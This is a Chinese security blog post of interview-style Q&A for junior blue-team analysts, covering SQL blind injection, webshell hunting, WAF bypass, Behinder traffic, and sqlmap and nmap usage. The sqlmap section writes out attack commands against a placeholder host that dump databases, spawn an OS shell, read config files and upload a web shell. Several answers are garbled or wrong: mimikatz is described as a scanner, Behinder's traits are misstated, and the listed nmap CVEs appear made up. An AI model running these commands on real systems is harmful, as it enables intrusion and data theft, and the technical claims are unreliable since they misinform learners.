【系列连载】蓝初百题斩（8）
2023-4-25 18:30:53 Author: WIN哥学安全(查看原文) 阅读量:11 收藏

sql盲注有几种方法？

SQL盲注是指通过构造特定的SQL语句，利用Web应用程序的漏洞来获取敏感信息或执行具有破坏性的操作。根据不同的条件和情况，SQL盲注可以分为以下几种方法：

  1. 基于布尔盲注：基于布尔盲注的攻击方式是常见的SQL盲注手段之一。黑客通过构造恶意的SQL语句，向Web应用程序提交查询请求，并观察返回结果中的布尔值（True或False）来推断查询语句中的条件是否成立。在这种攻击方式中，黑客通常会构造使用"AND"或者"OR"关键字的语句，以及适当的参数组合，从而判断出数据库中的数据是否符合预期要求。
  2. 基于时间盲注：基于时间盲注也是SQL盲注的一种类型。在这种攻击方式中，黑客通过构造恶意的SQL语句，在查询时增加等待时间，以便观测程序在执行恶意查询后的响应时间。如果响应时间与正常情况下相比明显延长，则说明恶意查询已经被执行。
  3. 基于错误消息盲注：基于错误消息盲注是另一种常见的SQL盲注攻击方式。黑客通过构造恶意的SQL语句，向Web应用程序提交查询请求，如果数据不符合预期要求，则会触发数据库的错误消息。黑客可以通过观察错误消息中的详细信息，推断出恶意查询是否执行成功。
  4. 基于联合查询盲注：基于联合查询盲注是另一种SQL盲注攻击方式。在这种攻击方式中，黑客通过构造特定的SQL语句，并使用"UNION"关键字来实现查询结果的合并。黑客可以通过修改查询语句中的参数，或者增加或减少查询中的表格数目，来获取敏感信息或执行破坏性操作。

总之，SQL盲注是一种危险的攻击手段，开发人员需要采取有效的防御措施，避免出现潜在的漏洞。例如，开发人员可以对用户输入数据进行严格的检验和过滤，限制用户输入的字符类型和长度，尽量避免使用动态拼接字符串的方式构造SQL语句，加强数据库本身的安全性等。

不给你工具，怎么进行webshell排杀

要进行Webshell排查和清除，需要在服务器上执行以下步骤：

  1. 扫描服务器，寻找异常进程、文件和网络连接。可以使用诸如lsof、netstat、ps等命令来查找可疑的进程和网络连接。
  2. 检查服务器中是否存在任何未知文件或目录，特别是具有隐藏属性的文件和目录。可以使用find命令查找所有文件和目录，并检查其中是否存在可疑的文件和目录。
  3. 检查服务器上是否存在未知用户和组。可以使用cat /etc/passwd和cat /etc/group命令来查看系统中的用户和组，并检查其中是否存在可疑的用户和组。
  4. 检查服务器上的系统日志，包括/var/log/messages、/var/log/secure等文件，以查找异常事件。
  5. 如果发现可疑的Webshell文件，需要立即将其删除，并检查相关的网站和数据库是否被入侵。
  6. 更新服务器上的操作系统和应用程序，并安装最新的防病毒软件和安全补丁，以提高服务器的安全性。

以上这些操作需要有一定的Linux系统管理基础，如果您不熟悉这些操作，建议联系专业的安全人员进行处理。此外，为了减少Webshell攻击的风险，请您注意加强服务器的安全设置，定期备份重要数据，并限制外部访问服务器的权限。

拿下内网主机如何判断它的权限

当您成功入侵一台内网主机后，您需要评估该主机的权限级别。以下是一些常见方法：

  1. 查看当前用户的权限：使用命令whoami或id查看当前用户的权限。如果当前用户是root或管理员权限，则他们可以访问和修改系统上所有机密数据和配置文件。
  2. 检查可用的系统命令：使用命令sudo -l来查看当前用户是否可以执行以root权限运行的系统命令。如果您有足够的权限，可以使用sudo命令来执行特权操作。
  3. 检查系统日志：检查系统日志文件中是否有任何异常记录。攻击者可能会在日志文件中删除其活动痕迹，因此需要查看备份日志文件。
  4. 查看安全配置：检查密码策略、防火墙配置、网络访问控制列表等配置文件，以确定当前用户能否绕过这些保护层进行更高级别的攻击。
  5. 检查进程和服务：使用命令ps -ef或systemctl list-units来查看正在运行的进程和服务。如果您看到未知的进程或服务正在运行，则可能存在恶意软件或后门程序。

总之，在评估被攻击的内部系统时，重要的是要了解当前用户拥有哪些权限，并确定攻击者是否已经获得更高的权限或在系统上留下了后门。建议在评估过程中使用多种技术和工具来获取完整的信息，以确保您有足够的信息来进行正确的决策，从而保护您的系统和数据免受攻击。

同源策略是什么

同源策略（Same Origin Policy）是一种Web安全策略，它是浏览器中的一项重要特性，用于限制从一个源加载的文档或脚本如何与来自另一个源的资源进行交互。同源指的是三个关键元素：协议、主机和端口号，只有这三者完全相同的两个URL才被认为是同源的。

同源策略可以防止恶意网站访问其他网站的敏感数据，例如Cookie、LocalStorage和请求响应等信息，从而保护用户的隐私和安全。

例如，假设您正在访问一个银行的网站，该银行使用Cookie来存储您的登录凭据。如果攻击者能够在他们的网站上注入一些JavaScript代码并通过某种方式将其转移到您正在访问的银行网站上，那么该攻击者就可以访问您的Cookie，以便窃取您的个人信息。然而，由于同源策略的存在，攻击者无法访问您正在访问的银行网站的Cookie，因为它们不属于同一个源。

尽管同源策略对Web安全至关重要，但在某些情况下，它可能会成为开发过程中的挑战。为了解决这些问题，Web开发人员可以使用一些技术和标记，如跨域资源共享（CORS）和JSONP等来解决这些限制。

说一下几种常见的逻辑漏洞

逻辑漏洞指的是应用程序中的编码错误或设计缺陷，使攻击者可以利用不符合预期的逻辑来绕过安全控制并实现攻击目标。以下是几种常见的逻辑漏洞：

  1. 注册送礼：在这种攻击中，攻击者通过欺骗用户注册帐户并提供个人信息的方式来获取某种奖励或礼物，从而收集大量有价值的用户数据。攻击者利用了开发人员未正确处理奖励机制的事实，并通过暴力破解、自动化脚本等方式创建大量虚假账户。
  2. 提交订单时修改价格：在这种漏洞中，攻击者可以通过提交订单时修改商品价格来获得不当利益。攻击者可能会修改页面上显示的价格、数量或其他参数，以实现价格欺诈。
  3. 超额退款：攻击者通过修改应用程序中的退款机制或直接与客户服务联系，以获取超出实际退款金额的退款，从而实现盈利。
  4. 非法访问：在这种漏洞中，攻击者可以通过绕过身份验证或访问控制机制，以获取未经授权的访问权限。攻击者可能会使用一些技术手段，如SQL注入、目录遍历、文件包含等来绕过访问控制机制。
  5. 不当的会话管理：攻击者可以通过利用应用程序中的会话机制漏洞，以获取受害者的会话令牌或密码。攻击者可能会使用会话劫持、会话固定攻击等技术手段，从而窃取用户的身份验证信息。

以上是常见的几种逻辑漏洞，这些漏洞需要开发人员在设计和编写代码时注意到，并采取相应的防范措施，例如使用安全的会话管理、访问控制、输入验证等措施，从而保护应用程序的安全性。

如何判断是否存在越权漏洞

越权漏洞是指攻击者可以未经授权地访问或修改受限资源的漏洞。一些常见的越权漏洞包括：

  1. 管理员账户欺骗：攻击者通过伪装成管理员或其他特权用户，以获取访问受限资源的权限。
  2. 直接对象引用：攻击者可以直接访问应用程序中的受保护对象或文件，而不需要通过身份验证或授权过程。
  3. 会话劫持：攻击者可以窃取正在进行的会话ID，以获得访问受限资源的权限。
  4. 暴力破解：攻击者可以使用暴力破解技术，如穷举法或字典攻击等，来尝试猜测受限资源的密码或凭证。

要判断是否存在越权漏洞，可以考虑以下方法：

  1. 分析应用程序的访问控制机制，查看哪些资源受到了访问限制。
  2. 测试应用程序的身份验证和授权机制，以了解是否存在身份验证缺陷、密码弱点等问题。
  3. 使用模拟攻击工具或手动测试来模拟攻击者的行为，并尝试访问受限资源，以确定是否存在越权漏洞。
  4. 针对常见的越权漏洞类型，如管理员账户欺骗、会话劫持等，采取相应的安全措施和加固策略。

总之，要发现和修复越权漏洞，需要审查应用程序的访问控制机制、身份验证和授权流程，并通过模拟攻击和手动测试来判断是否存在越权漏洞。定期进行漏洞扫描和安全评估也是必要的，以确保应用程序始终保持安全状态。

sql注入遇到waf，怎么绕过

以下是几种常见的方法：

  1. 使用编码：攻击者可以对注入负载进行编码，例如使用十六进制或Unicode编码等方式，以绕过WAF对字符集的检查。攻击者还可以使用字符串分割、大小写转换等技术手段，以使WAF无法识别恶意代码。
  2. 使用注入器：SQL注入攻击工具如Sqlmap、Havij、SQLi-hunter等，可以自动检测和利用各种SQL注入漏洞，并通过绕过WAF来获取敏感数据。
  3. 盲注：在盲注攻击中，攻击者不直接获取查询结果，而是根据应用程序的响应来判断是否存在漏洞。攻击者可以使用时间延迟或错误信息来判断是否存在漏洞，并以此来推断数据库中的数据。
  4. 变形注入：变形注入攻击是一种多次执行的注入攻击，使用变体的注入负载，使注入负载不同于以前的攻击负载，从而逃避WAF的检测。

了解过哪些安全设备

  1. 华为防火墙：华为防火墙是华为公司生产的安全产品之一，主要用于网络边界安全和数据中心安全。它提供了多种安全功能，例如流量管理、入侵检测、VPN接入等。
  2. 绿盟防火墙：绿盟防火墙是北京绿盟科技有限公司开发的一款网络安全产品，具有防御DDoS、DNS攻击、漏洞利用等攻击的能力，还支持大规模分布式部署。
  3. 启明星辰边界安全网关：启明星辰边界安全网关是启明信息技术股份有限公司推出的一款综合性安全产品，它能够提供网络访问控制、应用层协议识别、反病毒防护、VPN等多种安全功能。
  4. 360天擎安全产品：360天擎安全产品是由360集团推出的综合性安全产品，包括了防火墙、入侵检测、威胁情报、网络行为分析等多种安全功能，可支持大规模企业部署。
  5. 安恒安全产品：安恒信息安全技术有限公司是国内知名的网络安全服务提供商之一，其生产的安全产品包括了威胁情报、攻击检测、漏洞管理等多种安全功能，广泛应用于金融、电信、政府等行业。

了解过哪些安全产品

  1. 网络安全设备类：网络安全设备类产品主要包括防火墙、入侵检测系统、Web应用安全网关、DDoS防护等。例如华为防火墙、启明星辰边界安全网关、绿盟防火墙、360天擎等。
  2. 终端安全类：终端安全产品主要用于保护个人电脑、移动设备和服务器的安全，主要包括反病毒软件、安全加固、数据加密、身份认证等。例如360安全卫士、金山毒霸、腾讯电脑管家等。
  3. 数据安全类：数据安全产品主要用于保护企业敏感数据不被泄露或篡改，主要包括加密、备份恢复、数据控制等。例如深信服信息加密解决方案、启明星辰数据加密产品、山石网科数据泄漏防护等。
  4. 互联网安全类：互联网安全产品主要用于保护企业在互联网上的各种应用、网站、云服务等安全，主要包括云安全、移动安全、Web应用安全和容器安全等。例如弘善网络云安全解决方案、卫士通移动安全系统、腾讯安全云等。

冰蝎的流量特征是什么

冰蝎是一种常见的远控工具(RAT)，其流量特征如下：

  1. 使用HTTP协议：冰蝎使用HTTP协议与C&C服务器通信，从而绕过网络策略和防火墙的检测。
  2. 自定义加密：冰蝎使用自定义加密算法对数据进行加密，以避免被网络监测器和安全设备检测到。
  3. 动态命令: 通过inline和eval函数动态执行指令并返回结果，这使得冰蝎可以运行各种自定义代码，例如扫描目标、下载和安装其他恶意软件等。
  4. 内存驻留: 冰蝎不需要在受感染设备上安装文件或建立持久性，它只需要注入进程并在内存中驻留，从而难以被传统杀毒软件检测和清除。
  5. 支持多平台：冰蝎支持Windows, Linux, and Mac OS等操作系统，这使得攻击者可以在跨多个平台上远程控制受感染设备。

总之，冰蝎的流量特征是使用HTTP协议、自定义加密、动态命令、内存驻留和支持多平台。网络管理员可以根据这些特征来识别和阻止冰蝎远控攻击。

使用猕猴桃工具需要什么权限

猕猴桃是一种常用的网络安全工具，使用该工具需要以下权限：

  1. 对目标主机进行扫描：猕猴桃工具需要能够对目标主机或网络进行扫描，以收集有关目标系统和服务的信息。因此，使用者需要有足够的网络访问权限，以便对目标进行扫描和探测。
  2. 探测漏洞：猕猴桃工具通过对目标系统和服务进行扫描，并使用已知的漏洞进行测试，从而确定可能存在的安全漏洞。这需要使用者有足够的权限，以便在目标主机上执行相关的漏洞检测工作。
  3. 管理目标系统：有时候，为了修复发现的漏洞，需要对目标系统进行配置和管理。这需要使用者拥有足够的管理员权限，以便修改系统设置、安装补丁等。

sqlmap常用命令

SQLMap是一种常用的自动化SQL注入攻击工具，可以对目标网站进行全自动的SQL注入漏洞扫描和利用。以下是一些SQLMap的常用命令：

  1. 基本扫描命令：
sqlmap -u "http://target.com/page.php?id=1" --dbs       # 获取所有可利用的数据库
sqlmap -u "http://target.com/page.php?id=1" -D dbname --tables  # 获取指定数据库中的所有表
sqlmap -u "http://target.com/page.php?id=1" -D dbname -T tablename --columns   # 获取指定表中的所有列
sqlmap -u "http://target.com/page.php?id=1" -D dbname -T tablename -C columnname --dump    # 获取指定列中的数据
  1. POST请求和Cookie：
sqlmap -u "http://target.com/login.php" --data="username=admin&password=1234" --cookie="PHPSESSID=abcd1234" --level=5 --risk=3   # 向登录页面发送POST请求和Cookie，并对网站进行深度扫描
  1. 手动指定注入点：
sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql --technique=T --random-agent --level=5 --risk=3 --current-db --users --passwords --privileges --threads=10 --batch --skip-waf --tamper=randomcomments -p id   # 指定注入点为id参数，绕过WAF设置，使用随机HTTP头和注入负载进行扫描
  1. 高级命令：
sqlmap -u "http://target.com/page.php?id=1" --os-shell     # 获取操作系统Shell
sqlmap -u "http://target.com/page.php?id=1" --os-pwn       # 获取操作系统级别的访问权限
sqlmap -u "http://target.com/page.php?id=1" --file-read="/var/www/config.php"  # 读取指定文件内容
sqlmap -u "http://target.com/page.php?id=1" --file-write="/var/www/shell.php" --file-dest="/var/www/html/" --tamper="apostrophemask.py" --batch   # 向目标服务器写入Web Shell

nmap存在什么漏洞

Nmap是一种用于网络探测和安全评估的常用工具，不过它本身也存在一些漏洞，以下是一些已公开的Nmap漏洞：

  1. CVE-2016-3714: ImageMagick命令注入漏洞

Nmap使用ImageMagick库来处理图像，在旧版本的ImageMagick中存在命令注入漏洞。攻击者可以构造恶意图像文件，通过Nmap执行这些文件的时候触发该漏洞，导致执行任意命令。

  1. CVE-2017-11615：脚本引擎环境变量注入漏洞

Nmap支持在其脚本引擎中执行Lua脚本，而在某些情况下，攻击者可以利用环境变量注入漏洞来执行恶意Lua脚本，从而危及系统安全。

  1. CVE-2018-15173: 路径遍历漏洞

该漏洞存在于Nmap HTTP服务器中，攻击者可以利用此漏洞通过HTTP服务在目标系统上执行任意命令。

需要注意的是，这些漏洞大多数已经被修复，并且很少会对最新版本的Nmap构成威胁。建议用户始终使用最新版本的Nmap，并遵循最佳实践，如限制对Nmap的访问权限，避免使用默认帐户和密码，以及定期更新配置文件等。

nmap常用口令

Nmap是一种常用的端口扫描和网络发现工具，可以使用各种方式来扫描目标主机和网络，并检测可用的服务和隐蔽的漏洞。以下是一些常用的Nmap口令：

  1. 扫描单个主机：
nmap <target_ip>                 # 扫描指定IP地址
nmap <target_hostname>           # 扫描指定主机名
nmap -p 1-65535 <target>          # 扫描所有端口
nmap -sV <target>                # 扫描目标版本信息
nmap -O <target>                 # 扫描目标操作系统信息
  1. 扫描多个主机：
nmap <subnet>                    # 扫描子网中的所有主机
nmap -iL <targets.txt>           # 扫描包含目标主机列表的文件
nmap -sP <subnet>                # 扫描子网中的所有活动主机（ping扫描）
  1. 扫描特定协议：
nmap -sT <target>                # 使用TCP进行扫描
nmap -sU <target>                # 使用UDP进行扫描
nmap -sS <target>                # 使用SYN进行扫描
nmap -sA <target>                # 使用ACK进行扫描
nmap -sF <target>                # 使用FIN进行扫描
nmap -sX <target>                # 使用XMAS进行扫描
  1. 扫描选项和指令：
nmap -T<level> <target>          # 设置扫描速度（0-5，默认为3）
nmap --top-ports=<number> <target>     # 指定前N个常用端口进行扫描
nmap --script=<name> <target>    # 使用指定的脚本进行扫描
nmap -oA <basename> <target>     # 生成三种格式的输出文件（文本、XML、gnmap）
nmap -v <target>                 # 显示详细信息

给你一个ip，你如何溯源到真人

  1. Whois查询：可以通过Whois工具或网站查询IP地址的拥有者和注册信息，包括公司名称、联系人和注册日期等。如果该IP地址属于一个企业或机构，还可以了解其业务性质和所处行业。
  2. 端口扫描：使用端口扫描工具（如Nmap）来探测目标主机上开放的服务和端口，从而推断出其所属行业、用途和技术特征等。
  3. 元数据分析：通过分析目标网站上的元数据，如网页标题、描述和关键字等，以及抓取页面内容和搜索引擎索引等，可以了解网站的业务性质、所处行业和活动范围等。
  4. 社交媒体监测：通过监测目标主机和公司的社交媒体账号，例如微博、LinkedIn和Facebook等，可以获取更多的信息和联系方式，并尝试建立人际关系网络。

正向shell和反向shell的区别是什么

正向shell和反向shell都是与远程主机建立命令行连接的工具，可以允许用户执行命令或者进行文件传输等操作。它们的区别在于连接的方向和建立方式：

  1. 正向shell

正向shell通常是在目标主机上启动一个服务端程序，等待用户连接并进行身份验证后，允许用户在该主机上执行命令。因此，正向shell需要用户能够直接连接到目标主机，并且需要提供一些身份验证方式来保障安全性。

  1. 反向shell

反向shell则是在攻击者主机上启动一个客户端程序，通过网络连接到目标主机并执行指定的命令或脚本。这种方式通常需要绕过防火墙和其他安全措施，利用漏洞或社会工程学技巧获取目标主机的网络访问权限，因此往往会被视为一种黑客攻击技术。

连接不了MySQL数据库站点的原因是什么？

连接不上MySQL数据库站点的原因可能有很多，以下是一些可能的原因：

  1. 数据库服务未启动或已停止：如果MySQL服务器未正确启动或已停止，就无法连接到该服务。
  2. 网络连接问题：如果网络连接不稳定或存在障碍，就可能导致连接失败。例如，防火墙可能会阻止对MySQL端口的访问，或者路由器可能会限制对外部主机的访问。
  3. 认证失败：如果提供的用户名和密码无效，则连接将被拒绝。用户必须确保使用正确的凭据进行身份验证。
  4. 权限问题：如果用户没有足够的权限来连接到MySQL服务器，就可能会出现连接错误。管理员需要检查和修改授权策略以允许合适的用户访问数据库。
  5. MySQL配置问题：MySQL安装和配置过程中可能存在问题，例如MySQL服务监听错误的网络接口、未正确设置字符集等，这些都可能导致连接失败。

解决连接不上MySQL数据库站点的问题，需要仔细排除以上可能的原因，并逐步调整相关配置或修复故障。同时，建议用户采取相应的安全措施，如加密通信、限制访问权限和实施备份等来保护数据安全。


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwODM3NjIxOQ==&mid=2247492116&idx=2&sn=5036080376595a32386182fcdd131c86&chksm=c0c843e0f7bfcaf6dcf30b1de5280642726325b28d3b68033dd761bf0202d27e3d5a9d860c55#rd
如有侵权请联系:admin#unsafe.sh